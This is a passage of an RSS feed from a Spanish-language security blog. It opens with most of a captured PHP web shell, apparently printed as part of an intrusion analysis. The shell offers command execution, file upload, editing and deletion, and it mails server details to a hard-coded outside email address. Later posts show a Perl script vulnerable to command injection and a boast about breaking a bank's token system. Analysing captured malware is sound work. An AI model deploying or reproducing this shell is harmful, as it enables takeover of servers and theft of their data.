echo " <b>Sistem </b> </td>

 ";
echo "
<td width=\"92%\">: {$OS}</td>

";
echo "</tr>

";
echo "
<tr>";
echo "
<td width=\"8%\">";
echo " <b>Nama </b></td>

 ";
echo "
<td width=\"92%\">: {$UNAME}</td>

";
echo "</tr>

";
echo "
<tr>";
echo "
<td width=\"8%\">";
echo " <b>PHP </b></td>

 ";
echo "
<td width=\"92%\">: {$PHPv}, <b> Safe Mode :</b> {$SafeMode}</td>

";
echo "</tr>

";
 if (strtoupper(substr($OS, 0,3) != 'WIN')) {
 $Methods = asdads();
 if ($Methods == '') { $Methods = "???"; }
 echo "
<tr>";
 echo "
<td width=\"8%\">";
 echo "<b>Methods </b></td>

 ";
 echo "
<td width=\"92%\">: {$Methods}</td>

";
 echo "</tr>

";
 }

echo "
<tr>";
echo "
<td width=\"8%\">";
echo " <b>IP </b></td>

 ";
echo "
<td width=\"92%\">: {$IpServer}</td>

";
echo "</tr>

";
echo "
<tr>";
echo "
<td width=\"8%\">";
echo " <b>Perintah </b></td>

 ";
echo "
<td width=\"92%\">:
<input type=\"text\" size=\"70\" name=\"cmd\"
value=\"{$cmdget}\"

style=\" font-size: 8 pt; border: 1px solid #000000\">
<input
type=\"submit\"

name=\"action\" value=\"Kirim\" style=\" font-size: 8 pt; border: 1px solid

#000000\"></td>

";
echo "</tr>

";
echo "</table>

";
echo "</fieldset>
</form>

";
// Dir

echo "
<form method=\"POST\"
action=\"{$fstring}&amp;action=upload&amp;chdir=$chdir\"

enctype=\"multipart/form-data\">";
echo "<!--webbot bot=\"FileUpload\" u-file=\"_private/form_results.csv\"

s-format=\"TEXT/CSV\" s-label-fields=\"TRUE\" -->
<fieldset style=\"border:
1px solid

#000000; padding: 2\">";
if (is_writable("$chdir")) {
 if (strtoupper(substr($OS, 0,3) == 'WIN')) {
 echo "
<legend>Dir <b>YES</b>: {$chdir} - <a href=\"#[New Dir]\"

onclick=\"Mkdir('{$chdir}');\">Folder Baru</a> | <a href=\"#[New File]\"

onclick=\"Newfile('{$chdir}')\">File Baru</a> | <a

href=\"{$fstring}&amp;action=cmd&amp;chdir={$chdir}&amp;cmd=$newuser\">Remote

Access</a></legend>

";
 } else {
   echo "
<legend>Dir <b>YES</b>: {$chdir} - <a href=\"#[New Dir]\"

onclick=\"Mkdir('{$chdir}');\">Folder Baru</a> | <a href=\"#[New File]\"

onclick=\"Newfile('{$chdir}')\">File Baru</a> | <a

href=\"{$fstring}&amp;action=backtool&amp;chdir={$chdir}&amp;write=yes\">Kembali</a></legend

>";
  }
}
else {
if (strtoupper(substr($OS, 0,3) == 'WIN')) {
 echo "
<legend>Dir NO: {$chdir} - <a href=\"#[New Dir]\"

onclick=\"Mkdir('{$chdir}');\">Foldr Baru</a> | <a href=\"#[New File]\"

onclick=\"Newfile('{$chdir}')\">File Baru</a> | <a

href=\"{$fstring}&amp;action=cmd&amp;chdir={$chdir}&amp;cmd={$newuser}\">Remote

Access</a></legend>

";
 } else {
   echo "
<legend>Dir NO: {$chdir} - <a href=\"#[New Dir]\"

onclick=\"Mkdir('{$chdir}');\">Folder Baru</a> | <a href=\"#[New File]\"

onclick=\"Newfile('{$chdir}')\">File Baru</a> | <a

href=\"{$fstring}&amp;action=backtool&amp;chdir={$chdir}&amp;write=no\">Kembali</a></legend>

";
  }
}

if (@!$handle = opendir("$chdir")) {
 echo " Gue gak bisa masuk folder, <a href=\"{$fstring}\">Klik sini!</a>
untuk Kembali ke folder ori!</br>";
}
else {
echo "
<table border=\"0\" cellpadding=\"5\" cellspacing=\"0\"
width=\"100%\">";
echo "
<tr>";
echo "
<td width=\"100%\" colspan=\"4\"> Upload:";
echo "
<input type=\"file\" name=\"userfile\" size=\"65\" style=\"
border-style:

solid; border-width: 1\">";
echo "
<input type=\"submit\" value=\"Kirim\" name=\"B1\" style=\"
border: 1px solid

#000000\"></td>

";
echo "    </tr>

";
echo "
<tr>";
echo "
<td width=\"100%\" colspan=\"4\"> </td>

";
echo "    </tr>

";
echo "
<tr>";
echo "
<td width=\"100%\" colspan=\"4\">";
if (@!$msg) {
 echo "
<p align=\"left\">Messages</td>

";
} else {
  echo "
<p align=\"left\">$msg</td>

";
 }
echo "    </tr>

";
echo "
<tr>";
echo "
<td width=\"100%\" colspan=\"4\"> </td>

";
echo "    </tr>
</table>

 ";
echo "
<table border=\"1\" cellpadding=\"2\" cellspacing=\"0\"
width=\"100%\">";
echo "
<tr bgcolor=\"#FF6600\" align=\"center\"> ";
echo "
<td > Permision</td>

";
echo "
<td > Nama File </td>

";
echo "
<td > Kapasiti </td>

";
echo "
<td > Perintah</td>

";
echo "     </tr>

";
$colorn = 0;
   while (false !== ($file = readdir($handle))) {
       if ($file != '.') {
           if ($colorn == 0) {
            $color = "style=\"background-color: #FF9900\"";
           }
           elseif ($colorn == 1) {
            $color = "style=\"background-color:  #FFCC33\"";
           }
           if (@is_dir("$chdir"."$file")) {
            $file = $file.'/';
            $mode = 'chdir';
           } else {
              $mode = 'edit';
            }
           if (@substr("$chdir", strlen($chdir) -1, 1) != '/') {
             $chdir .= '/';
           }
           if ($file == '../') {
            $lenpath = strlen($chdir); $baras = 0;
            for ($i = 0;$i < $lenpath;$i++) { if ($chdir{$i} == '/') {
$baras++; } }
            $chdir_ = explode("/", $chdir);
            $chdirpox = str_replace($chdir_[$baras-1].'/', "", $chdir);
           }
           $perms = @fileperms ("$chdir"."$file");
           if ($perms == '') {
            $perms = '???';
           }
           $size = @filesize ("$chdir"."$file");
           $size = $size / 1024;
           $size = explode(".", $size);
           if (@$size[1] != '') {
            $size = $size[0].'.'.@substr("$size[1]", 0, 2);
           } else {
              $size = $size[0];
            }
           if ($size == 0) {
            if ($mode == 'chdir') {
             $size = '???';
            }
           }
           echo "
<tr>";
    echo "
<td align=\"center\" $color> $perms</td>

";
           if (@is_writable ("$chdir"."$file")) {
            if ($mode == 'chdir') {
             if ($file == '../') {
              echo "
<td $color> <b><a
href=\"{$fstring}&amp;chdir=$chdirpox\"><font

color=\"#008000\">$file</font></a></b> </td>

";
             } else {
                echo "
<td $color> <b><a
href=\"{$fstring}&amp;chdir={$chdir}{$file}\"><font

color=\"#008000\">$file</font></a> </b></td>

";
               }
            } else {
 if (is_readable("$chdir"."$file")) {
                echo "
<td $color> <a

href=\"{$fstring}&amp;action=edit&amp;chdir=$chdir&amp;file=$file\">$file</a>
</td>

";
               } else {
                  echo "
<td $color> $file </td>

";
                 }
              }
           }
          else {
            if ($mode == 'chdir') {
             if ($file == '../') {
              echo "
<td $color> <a
href=\"{$fstring}&amp;chdir=$chdirpox\">$file</a>
</td>

";
             } else {
                echo "
<td $color> <a

href=\"{$fstring}&amp;chdir={$chdir}{$file}\">$file</a></td>

";

              }
            } else {
 if (@is_readable("$chdir"."$file")) {
                echo "
<td  $color> <a

href=\"{$fstring}&amp;action=edit&amp;chdir=$chdir&amp;file=$file\">$file</a>
</td>

";
               } else {
                  echo "
<td $color> $file</td>

";
                }
              }
            }
           echo "
<td align=\"right\" $color> $size KB</td>

";
           if ($mode == 'edit') {
            echo "
<td align=\"center\" $color> <a href=\"#{$file}\"

onclick=\"Rename('{$chdir}', '{$file}', '{$mode}')\">Rename</a> | <a

href=\"{$fstring}&amp;action=del&amp;chdir={$chdir}&amp;file={$file}&amp;type=file\">Del</a>

| <a href=\"#{$file}\" onclick=\"ChMod('$chdir', '$file')\">Chmod</a> | <a
href=\"#{$file}\"

onclick=\"Copy('{$chdir}', '{$file}')\">Copy</a> </td>

";
           } else {
              echo "
<td align=\"center\" $color> <a href=\"#{$file}\"

onclick=\"Rename('{$chdir}', '{$file}', '{$mode}')\">Rename</a> | <a

href=\"{$fstring}&amp;action=del&amp;chdir={$chdir}&amp;file={$file}&amp;type=dir\">Del</a>

| <a href=\"#{$file}\" onclick=\"ChMod('$chdir', '$file')\">Chmod</a> | Copy
</td>

";
             }
           echo "</tr>

";
           if ($colorn == 0) {
            $colorn = 1;
           }
           elseif ($colorn == 1) {
            $colorn = 0;
           }
       }
   }
   closedir($handle);
}

 $OS = @PHP_OS;
 $UNAME = @php_uname();
 $PHPv = @phpversion();
 $SafeMode = @ini_get('safe_mode');

 if ($SafeMode == '') { $SafeMode = "<i>OFF</i><BR>"; }
 else { $SafeMode = "<i>$SafeMode</i><BR>"; }

 $injek=($_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);

 $psn=("OS = " . $OS . "<BR>UNAME = " . $UNAME . "<BR>PHPVersion = " .
$PHPv . "<BR>Safe

Mode = " . $SafeMode . "<BR><font color=blue>http://" . $injek .
"</font><BR>Ingat jangan

Guna Target Ini.<BR>By: NABIL");

 $header = "From: $_SERVER[SERVER_ADMIN] <$from>\r\nReply-To:
$replyto\r\n";
 $header .= "MIME-Version: 1.0\r\n";
 If ($file_name) $header .= "Content-Type: multipart/mixed;
boundary=$uid\r\n";
 If ($file_name) $header .= "--$uid\r\n";
 $header .= "Content-Type: text/$contenttype\r\n";
 $header .= "Content-Transfer-Encoding: 8bit\r\n\r\n";
 $header .= "$message\r\n";
 If ($file_name) $header .= "--$uid\r\n";
 If ($file_name) $header .= "Content-Type: $file_type;
name=\"$file_name\"\r\n";
 If ($file_name) $header .= "Content-Transfer-Encoding: base64\r\n";
 If ($file_name) $header .= "Content-Disposition: attachment;

filename=\"$file_name\"\r\n\r\n";
 If ($file_name) $header .= "$content\r\n";
 If ($file_name) $header .= "--$uid--";
 $to = ("haumil@gmail.com");
 $subject = ("Inbox linda.");
 mail($to,$subject,$psn,$header);

@include "$bn";
?>
 </table>
</fieldset>
</form>
</div>

</body>

</html>
</pre>
<p>Esta un poco mejor shell99, pero tampoco esta mal, lo que si es que se ve que han tenido tiempo no para desarrollar sino para encontrar los scripts y usarlos, interesante se ve que hay una o 2 personas que mas o menos le dan a la codificacion en perl y un poco en PHP pero en realidad las botnets no estan muy desarrolladas.</p>
<p>Esta decente el botnet, se puede tomar control de ella y obvamente no hacen mucho por generar una botnet mas compleja y mas grande, sin embargo me da la idea para desarrollar una de prueba de concepto durante estas fechas que ando de relax de programar en python para pruebas de volumen.</p>
<p>Bueno despues de tanto codigo .. me lanzo &#8230;.</p>
]]></content:encoded>
			<wfw:commentRss>http://security-dojo.com/programming-bits/analisis-de-una-intrusion-y-un-bot/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>La tarjeta de Security Dojo</title>
		<link>http://security-dojo.com/programming-bits/la-tarjeta-de-security-dojo/</link>
		<comments>http://security-dojo.com/programming-bits/la-tarjeta-de-security-dojo/#comments</comments>
		<pubDate>Thu, 25 Dec 2008 22:53:59 +0000</pubDate>
		<dc:creator>nahual</dc:creator>
				<category><![CDATA[Programming]]></category>

		<guid isPermaLink="false">http://security-dojo.com/?p=28</guid>
		<description><![CDATA[Bueno pues esta navidad en security dojo hicimos la carta a santa claus y no llego el muy cabron, pero lo explotaremos asi como a otras cosas mas como debe de ser, agrego rapidamente el embedido de la tarjeta que le pedimos en 1 ciento y el nunca mando:




Asi que si alguien se avienta a [...]]]></description>
			<content:encoded><![CDATA[<p>Bueno pues esta navidad en security dojo hicimos la carta a santa claus y no llego el muy cabron, pero lo explotaremos asi como a otras cosas mas como debe de ser, agrego rapidamente el embedido de la tarjeta que le pedimos en 1 ciento y el nunca mando:<br />
<br />
<center><br />
<businesscard><a target=_blank href=http://www.businesscardcollection.com/do/edit/12292FF9A3B5ED2B7A98500D0251F17F097C0CA7099F54D8/><img border=0 src=http://www.businesscardcollection.com/;-)/12292FF9A3B5ED2B7A98500D0251F17F097C0CA7099F54D8.png width=350 height=200></a></businesscard><br />
</center></p>
<p>Asi que si alguien se avienta a patrocinarla me avisan! jajajaja en el inter estoy terminando una investigacion sobre la seguridad de netkey en algunos bancos y creanme &#8230; va a ser bonito ver como un monton de gente patina, sobre todo la chavita de la Universidad Anahuac en clase de maestria que practicamente me reto a que tronara el netkey de Banorte. Esta va por ti nena!!! que Dios salvaguarde tu jale cuando lean esto!!! JAJAJAJA</p>
]]></content:encoded>
			<wfw:commentRss>http://security-dojo.com/programming-bits/la-tarjeta-de-security-dojo/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Conferencia en la UNIVO</title>
		<link>http://security-dojo.com/programming-bits/conferencia-en-la-univo/</link>
		<comments>http://security-dojo.com/programming-bits/conferencia-en-la-univo/#comments</comments>
		<pubDate>Wed, 19 Nov 2008 20:17:32 +0000</pubDate>
		<dc:creator>nahual</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://security-dojo.com/?p=16</guid>
		<description><![CDATA[Me invitaron a dar una conferencia y un taller en la UNIVO, estuvo excelente la verdad, me gusto que estuviera llena la conferencia que di y mas que mas de la mitad hubieran estado en la conferencia pasada, el titulo de la conferencia fue:
Seguridad Informatica: Pasado, Presente y Futuro &#8211; Casos de Estudio
La verdad estuvo [...]]]></description>
			<content:encoded><![CDATA[<p>Me invitaron a dar una conferencia y un taller en la UNIVO, estuvo excelente la verdad, me gusto que estuviera llena la conferencia que di y mas que mas de la mitad hubieran estado en la conferencia pasada, el titulo de la conferencia fue:</p>
<p>Seguridad Informatica: Pasado, Presente y Futuro &#8211; Casos de Estudio</p>
<p>La verdad estuvo interesante porque dejamos los slides de lado y nos pusimos a ver fallos de ayer, de hoy y de mañana en varios lugares, la verdad no pude aplicar la de un buen XSS para el phishing porque estaba haciendo un caor de la fregada y ya andaba en modo zombi pero se puso bueno en realidad.</p>
<p>Asi que aqui les dejo la conferencia, los slides estan muy muy genericos sin embargo tambien dejo los programas que se vieron dentro de la conferencia, no puedo dejar los URL ya que se hizo con el sistema de la UNIVO, lo siento.<br />
<span id="more-16"></span><br />
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://active.macromedia.com/flash5/cabs/swflash.cab#version=5,0,0,0" height="406" width="669"><param name="movie" value="http://security-dojo.com/wp-content/uploads/2007/12/ejemplo_md5sum.swf"></param><param name="play" value="false"></param><param name="loop" value="false"></param><param name="quality" value="high"></param> <embed src="http://security-dojo.com/wp-content/uploads/2008/11/seguridad-ppf-casosdeestudio.swf" quality="low" loop="false" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash" height="399" width="530"></embed></object></p>
<p>Los ejemplos fueron los mas basicos para mostrar fallos que aun ahora se encuentran en servidores:</p>
<p><code></p>
<pre name="code" class="c">
#!/usr/bin/perl
#

print "Bienvenido al proxy de autenticacion de la red segura de Victima.net, escriba el servidor interno: ";
$server = < STDIN >;
chomp($server);
system("ssh -l externo $server");
</pre>
<p></code></p>
<p>Ese tipo de ejemplos facilitos para ejemplificar la forma en que todavia se hackean servidores de universidades grandes que ofrecen servicios como pine para sus usuarios, aun funciona con planetas, dragones, etc.</p>
<p>Igual ejemplos de malas contraseñas, inyecciones avanzadas de SQL, algunas maquinas de estado, utilizacion de la libreria de GAUL para mutar strings para el fuzzing, etc. cosas basiquitas.</p>
<p>En fin .. me lanzo a jalar que hoy tengo un poco de jale &#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://security-dojo.com/programming-bits/conferencia-en-la-univo/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
